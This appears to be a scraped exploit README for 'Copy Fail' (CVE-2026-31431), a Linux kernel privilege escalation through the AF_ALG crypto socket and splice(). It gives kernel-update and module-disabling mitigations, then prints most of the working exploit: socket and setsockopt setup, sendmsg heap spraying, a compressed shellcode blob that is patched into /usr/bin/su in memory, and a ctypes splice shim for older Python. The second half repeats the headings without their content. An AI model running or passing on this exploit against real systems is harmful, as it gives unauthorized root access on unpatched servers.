CVE-2026-31431

Copy Fail - CVE-2026-31431 Detail

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://xint.io/blog/copy-fail-linux-distributions

Tested Distro / Version

Distro	Version
Ubuntu 24.04 LTS	6.17.0-1007-aws
Amazon Linux 2023	6.18.8-9.213.amzn2023
RHEL 10.1	6.12.0-124.45.1.el10_1
SUSE 16	6.12.0-160000.9-default

Exploit Run

main.py

Command ID

id

If something like this appears, it means you now have root access.

The fix takes just a few minutes.

Option 1: Update your kernel (recommended)

For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

Then reboot your server.

Option 2: Disable the affected module (temporary fix)

If updating right now isn't an option, disable the vulnerable module to reduce exposure:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

This won't affect SSH, TLS, LUKS, or OpenSSL.

Attack Technique: CVE-like (Crypto API + splice)

This appears to exploit a vulnerability in the Linux kernel AF_ALG crypto subsystem, combined with incorrect usage of splice()/sendmsg() to:

Leak kernel pointers
Corrupt the process task_struct
Escalate UID to 0 (root)

1. AF_ALG Socket Usage (38)

a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

Creates a cryptographic socket in the kernel
Configures AES-CBC + HMAC-SHA256 cipher
Real purpose: interact with internal kernel APIs

2. Obscure setsockopt (h=279)

v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)

279 = ALG_SET_KEY (sets cryptographic key)
Undocumented options that exploit the ALG subsystem
Key '0800010000000010' + zeros — likely vulnerability trigger

3. Main Attack Technique

u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)

sendmsg with ancillary data (control messages)
The 'i' (counter) creates variable sizes per iteration
Goal: heap spraying and kernel memory corruption

4. splice() Between Pipes

r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Zero-copy data transfer between:

/usr/bin/su (file) → pipe → crypto socket

splice avoids user→kernel copies → fully kernel-space operation

5. Decompressed Payload

Hex data:

78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Starts with 78da → zlib header

Decompressed content likely includes:

Shellcode (machine code)  
x86_64 privilege escalation instructions

6. Writing Payload into su

while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Corrupts /usr/bin/su in memory (not on disk)

Shellcode is injected into the su process at execution time

7. Final Execution

g.system("su")

[!NOTE] If the target OS python version is <3.10 then use this below code to make it work, But first make sure to inspect syscall availability

python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Add this code snippent under PAYLOAD_COMPRESSED section:

_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

CVE-2026-31431

Most Popular

CVE-2026-31431

Copy Fail - CVE-2026-31431 Detail

Tested Distro / Version

Exploit Run

Command ID

If something like this appears, it means you now have root access.

The fix takes just a few minutes.

Option 1: Update your kernel (recommended)

Then reboot your server.

Option 2: Disable the affected module (temporary fix)

If updating right now isn't an option, disable the vulnerable module to reduce exposure:

This won't affect SSH, TLS, LUKS, or OpenSSL.

Attack Technique: CVE-like (Crypto API + splice)

This appears to exploit a vulnerability in the Linux kernel AF_ALG crypto subsystem, combined with incorrect usage of splice()/sendmsg() to:

1. AF_ALG Socket Usage (38)

2. Obscure setsockopt (h=279)

3. Main Attack Technique

4. splice() Between Pipes

Zero-copy data transfer between:

splice avoids user→kernel copies → fully kernel-space operation

5. Decompressed Payload

Hex data:

Starts with 78da → zlib header

Decompressed content likely includes:

6. Writing Payload into su

Corrupts /usr/bin/su in memory (not on disk)

Shellcode is injected into the su process at execution time

7. Final Execution

Executes su (switch user) — now with corrupted payload

Modified su returns root without requiring a password